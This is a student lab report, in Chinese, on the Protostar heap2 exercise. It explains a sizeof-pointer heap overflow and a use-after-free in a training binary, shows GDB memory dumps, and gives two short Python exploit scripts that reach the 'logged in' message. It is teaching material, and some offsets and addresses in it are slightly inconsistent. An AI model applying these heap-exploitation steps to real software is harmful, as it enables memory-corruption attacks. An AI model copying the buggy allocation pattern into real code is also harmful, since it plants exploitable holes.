

CS3312 Lab Report Heap2

Osamu Takenaka 520030990026

源码分析

C代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
    char name[32];
    int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
    char line[128];

    while(1) {
        printf("[ auth = %p, service = %p ]\n", auth, service);

        if(fgets(line, sizeof(line), stdin) == NULL) break;

        if(strncmp(line, "auth ", 5) == 0) {
            auth = malloc(sizeof(auth));
            memset(auth, 0, sizeof(auth));
            if(strlen(line + 5) < 31) {
                strcpy(auth->name, line + 5);
            }
        }
        if(strncmp(line, "reset", 5) == 0) {
            free(auth);
        }
        if(strncmp(line, "service", 6) == 0) {
            service = strdup(line + 7);
        }
        if(strncmp(line, "login", 5) == 0) {
            if(auth->auth) {
                printf("you have logged in already!\n");
            } else {
                printf("please enter your password\n");
            }
        }
    }
}
```

代码行为:

- 代码首先定义了一个 `auth` 结构体和一个 `service` 字符串。
- 然后进入一个无限循环, 每次循环都会输出 `auth` 和 `service` 的地址。
- 然后通过 `fgets` 读取用户输入的命令。
- 如果输入的命令以 `auth` 开头, 就会分配一个 `auth` 结构体的内存, 然后将输入的用户名拷贝到 `auth->name` 中。
- 如果输入的命令以 `reset` 开头, 就会释放 `auth` 的内存。
- 如果输入的命令以 `service` 开头, 就会将输入的服务名拷贝到 `service` 中。
- 如果输入的命令以 `login` 开头, 就会判断 `auth->auth` 是否为真, 如果为真就输出 `you have logged in already!`, 否则输出 `please enter your password`。

漏洞分析:

- 这个实验是典型的 `UAF` (Use After Free) 漏洞, 我们的最终目的是要让程序输出 `you have logged in already!`, 这个输出是在 `if(auth->auth)` 这个条件下输出的, 所以我们需要让 `auth->auth` 为真。

攻击方法:

- 第一种攻击方法比较简单, 由于其本身程序存在问题, 即 `memset(auth, 0, sizeof(auth))` 这句话里的 `sizeof(auth)` 本意应为 `sizeof(struct auth)`, 这样 `auth` 的大小才是 `32+4=36`, 而这里的 `auth` 被识别为指针, 大小为4, 所以实际上这里只分配了4个字节的内存, 而 `auth->auth` 的偏移为32(也就是实际上还没分配的区域), 所以我们可以通过 `service` 向堆管理器申请内存, 并让 `service` 的内容尽可能长(`service` 程序里没有检查长度), 覆盖 `auth->auth` 所指向的内存区域, 使其为真。
- 第二种方法是利用 `UAF` 漏洞, 在我们将 `auth` 被 `reset` 后, 虽然内存区域被标记为释放, 但是指针 `auth` 仍然指向这个内存区域, 这时我们敲入 `service`, 会通过 `strdup` 函数分配一块内存给 `service`, 而这块内存正会在原来 `auth` 的内存区域中, 这时我们就可以通过不断地申请 `service` 来覆盖 `auth->auth` 的值, 使其为真。

GDB调试

```
(gdb) r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth alice
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82  ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
Current language: auto
The current source language is "auto; currently asm".
(gdb) info proc map
process 18375
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

Start Addr   End Addr   Size      Offset objfile
0x8048000    0x804b000  0x3000     0         /opt/protostar/bin/heap2
0x804b000    0x804c000  0x1000     0x3000    /opt/protostar/bin/heap2
0x804c000    0x804d000  0x1000     0         [heap]
0xb7e96000   0xb7e97000 0x1000     0         /lib/ld-2.11.2.so
0xb7e97000   0xb7fd5000 0x13e000   0         /lib/ld-2.11.2.so
0xb7fd5000   0xb7fd6000 0x1000     0x13e000  /lib/ld-2.11.2.so
0xb7fd6000   0xb7fd8000 0x2000     0x13e000  /lib/ld-2.11.2.so
0xb7fd8000   0xb7fd9000 0x1000     0x140000  /lib/ld-2.11.2.so
0xb7fd9000   0xb7fdc000 0x3000     0         /lib/ld-2.11.2.so
0xb7fde000   0xb7fe2000 0x4000     0         [vdso]
0xb7fe2000   0xb7fe3000 0x1000     0         /lib/ld-2.11.2.so
0xb7fe3000   0xb7ffe000 0x1b000     0         /lib/ld-2.11.2.so
0xb7ffe000   0xb7fff000 0x1000     0x1a000   /lib/ld-2.11.2.so
0xb7fff000   0xb8000000 0x1000     0x1b000   /lib/ld-2.11.2.so
0xbffeb000   0xc0000000 0x15000     0         [stack]
```

(gdb)
输入 `auth alice`，然后查看堆顶的地址，可以看到是 `0x804c000`，`auth` 的地址是 `0x804c008`，

打印相关区域，

```
(gdb) x/32xw 0x804c000
0x804c000: 0x00000000 0x00000011 0x63696c61 0x00000a65
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
```

这里介绍两种方法，

方法一：堆溢出（实际为程序本身的缺陷）

刚刚提到的这里源代码的问题导致 `auth` 被识别为指针，只分配了4个字节的内存，可以计算出 `auth->auth` 实际上指向的内存是 `0x804c008+0x2=0x804c028`，但是实际上堆管理器此时认为这块内存没有被分配，所以可以通过 `service` 向堆管理器申请区域来将 `auth->auth` 包含在内，随后输入内容，就可以让 `auth->auth` 为真，

接下来我们只申请一块 `service` 然后让其内容比较长来覆盖 `auth->auth` 的区域（`0x804c028`），

```
(gdb) c
Continuing.
service aaaabbbbccccdddeeee
[ auth = 0x804c008, service = 0x804c018 ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82  in ../sysdeps/unix/syscall-template.S
(gdb) x/32xw 0x804c000
0x804c000: 0x00000000 0x00000011 0x63696c61 0x00000a65
0x804c010: 0x00000000 0x00000021 0x61616120 0x62626261
0x804c020: 0x63636362 0x64646463 0x65656564 0x00000a65
0x804c030: 0x00000000 0x00000fd1 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
可以看到这里 auth->auth (0x0x804c028) 的值被修改为 0x65656564，即为真，输出了 you have logged in already!
```

方法二：UAF

```
(gdb) x/s 0x804c008
0x804c008: "alice\n"
可以看到刚刚输入的 "alice\n"，接下来我们 reset 看一下，
```

```

reset
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S
(gdb) x/32xw 0x804c000
0x804c000:    0x00000000    0x00000011    0x00000000    0x00000a65
0x804c010:    0x00000000    0x0000ff1    0x00000000    0x00000000
0x804c020:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c030:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c050:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c060:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c070:    0x00000000    0x00000000    0x00000000    0x00000000
我们发现 0x804c008 到 0x804c00b 被清空为 0 了，但是末尾的 '\x65' 和 '\x0a' 即 "e\n" 还残留着，这是因为刚刚提到的这里源代码的问题导致 auth 被识别为指针，只分配了4个字节的内存，所以 free 也只清空4个字节的内存。

```

由于这里指针 auth 依然指向这个内存区域，可以计算出 auth->auth 实际上指向的内存是 0x804c008+0x2=0x804c028，我们可以通过不断向 service 来向堆管理器申请区域来将 auth->auth 包含在内，就可以让 auth->auth 为真，从而输出 you have logged in already!。

```

service aaa
[ auth = 0x804c008, service = 0x804c008 ]
service bbb
[ auth = 0x804c008, service = 0x804c018 ]
service ccc
[ auth = 0x804c008, service = 0x804c028 ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82      in ../sysdeps/unix/syscall-template.S: No such file or directory.
      in ../sysdeps/unix/syscall-template.S
Current language: auto
The current source language is "auto; currently asm".
(gdb) x/32xw 0x804c000
0x804c000:    0x00000000    0x00000011    0x61616120    0x0000000a
0x804c010:    0x00000000    0x00000011    0x62626220    0x0000000a
0x804c020:    0x00000000    0x00000011    0x63636320    0x0000000a
0x804c030:    0x00000000    0x00000fd1    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c050:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c060:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c070:    0x00000000    0x00000000    0x00000000    0x00000000
(gdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]
可以看到我们申请了3次 service，最后 auth->auth (0x804c028) 的值被修改为 0x63636320 (即第三次 service 的内容 "ccc")，即为真，输出了 you have logged in already!

```

攻击脚本内容

方法一：堆溢出（实际为程序本身的缺陷）

script_heap2-method1.py:

```

cmd_0 = "auth alice\n"
cmd_1 = "service aaaabbbbccccdddeeee\n"
cmd_2 = "login"
print cmd_0 + cmd_1 + cmd_2
在终端中运行：

```

python /opt/protostar/script/heap/script_heap2-method1.py | /opt/protostar/bin/heap2

方法二：UAF

script_heap2-method2.py:

```

cmd_0 = "auth alice\n"
cmd_1 = "reset\n"
cmd_2 = "service aaa\n"
cmd_3 = "service bbb\n"
cmd_4 = "service ccc\n"
cmd_5 = "login"
print cmd_0 + cmd_1 + cmd_2 + cmd_3 + cmd_4 + cmd_5
在终端中运行：

```

python /opt/protostar/script/heap/script_heap2-method2.py | /opt/protostar/bin/heap2

结果（非GDB环境）

```
root@protostar:/opt/protostar/script/heap# python /opt/protostar/script/heap/script_heap2-method1.py | /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x004c008, service = (nil) ]
[ auth = 0x004c008, service = 0x004c018 ]
you have logged in already!
[ auth = 0x004c008, service = 0x004c018 ]
root@protostar:/opt/protostar/script/heap# python /opt/protostar/script/heap/script_heap2-method2.py | /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x004c008, service = (nil) ]
[ auth = 0x004c008, service = (nil) ]
[ auth = 0x004c008, service = 0x004c008 ]
[ auth = 0x004c008, service = 0x004c018 ]
[ auth = 0x004c008, service = 0x004c028 ]
you have logged in already!
[ auth = 0x004c008, service = 0x004c028 ]
root@protostar:/opt/protostar/script/heap#
```

两种方法都攻击成功